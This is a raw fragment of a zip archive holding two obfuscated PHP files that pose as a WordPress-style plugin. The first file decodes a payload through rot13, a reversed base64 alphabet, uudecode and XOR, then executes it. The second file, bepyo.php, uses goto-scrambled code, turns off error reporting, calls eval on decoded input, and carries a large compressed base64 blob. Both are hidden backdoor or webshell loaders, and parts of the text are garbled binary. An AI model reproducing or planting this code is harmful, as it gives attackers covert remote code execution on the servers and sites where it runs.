$tmpNqF22 = @str_rot13($tmpNqF22); break; case 'cb64': $tmpNqF22 = @strtr($tmpNqF22, 'ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/', 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'); $tmpNqF22 = @base64_decode($tmpNqF22); break; case 'url': $tmpNqF22 = @urldecode($tmpNqF22); break; case 'uu': $tmpNqF22 = @convert_uudecode($tmpNqF22); break; } } } $cipherYGW39 = $tmpNqF22; $plainnPn14 = ''; $tmpOer49 = @strlen($keyJri39); $tmpidF58 = @strlen($keyZDt96); if ($tmpOer49 > 0 && $tmpidF58 > 0) { for ($tmpSfP82=0; $tmpSfP82<@strlen($cipherYGW39); $tmpSfP82++) { $tmpNqF22 = ($tmpSfP82 % 3 === 0) ? $keyJri39 : $keyZDt96; $dataggex17 = ($tmpSfP82 % 3 === 0) ? $tmpOer49 : $tmpidF58; if ($dataggex17 > 0) { $plainnPn14 .= @chr(@ord($cipherYGW39[$tmpSfP82]) ^ @ord($tmpNqF22[$tmpSfP82 % $dataggex17])); } } } else { $plainnPn14 = $cipherYGW39; } if (!empty($plainnPn14) && is_string($plainnPn14)) { if (strpos($plainnPn14, '<?php') !== 0) { $plainnPn14 = '<?php ' . $plainnPn14; } $objeMl24->executeOzdo98Code($plainnPn14); } }
}
// Initialize the plugin
$objWaf81 = new PluginaQxi99ManagerMwUt16();
$objWaf81->initializeAjic40();
// End of file
PK 9Jm\o�e�*� *� bepyo.phpnu �[��� <?php
/*
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
??????????????????????????????
*/ goto ���;�է�:$ה��=pow($ה��,$ה��*0xab/($ה��+0xb)*M_PI);goto ���;���:error_reporting(0);goto ݀��;���:function �ߕ(){goto ����;���:Ϸ��:goto ����;����:if(!($����[0x001]==$��+0x02d))goto Ϸ��;goto ��Ƚ;���:�ꝇ:goto �߯�;����:return "\x73\164\162\154\x65\x6e";goto ���;آ��:if(!($����[0x0002]==$��+0x00000b8))goto ��;goto 䝺�;���:ӆ��:goto آ��;�΄:$����=func_get_args();goto ����;��Ƚ:return base64_decode(join("",array('c','G','9','3')));goto ���;���:��:goto ����;䝺�:return base64_decode('YmFzZTY0X2RlY29kZQ');goto ���;����:return((parse_str("cm91bmQ",$읹�)||$읹�)?base64_decode(key($읹�)):"");goto ���;����:if(!($����[0x0002]==$��+0x00128))goto �ꝇ;goto ����;����:$��=0x01842;goto �΄;����:if(!($����[0x001]==$��+0x006f))goto ӆ��;goto ����;�߯�:}goto ��;�IJ�:eval(FYnYw(����(0x0000024b2)));goto �է�;���:$���=�ߕ(0x001884,0x0186f)(round($ה��),$ה��*0xab/($ה��+0xab)*M_PI);goto ����;݀��:function ����(){goto ����;����:֔��:goto ㅃ�;����:$ʟ��=0x00240a;goto ��ӝ;��ӝ:$�ȩ�=func_get_args();goto �ʟ�;ϱ��:if(!($�ȩ�[0]==$ʟ��+0x0000a8))goto ѧŹ;goto ����;����:return "\157\x72\144";goto ����;����:���:goto ϱ��;���:return "\x63\x68\162";goto ����;��ʂ:ѧŹ:goto ����;����:return(($���=gzinflate(substr(base64_decode('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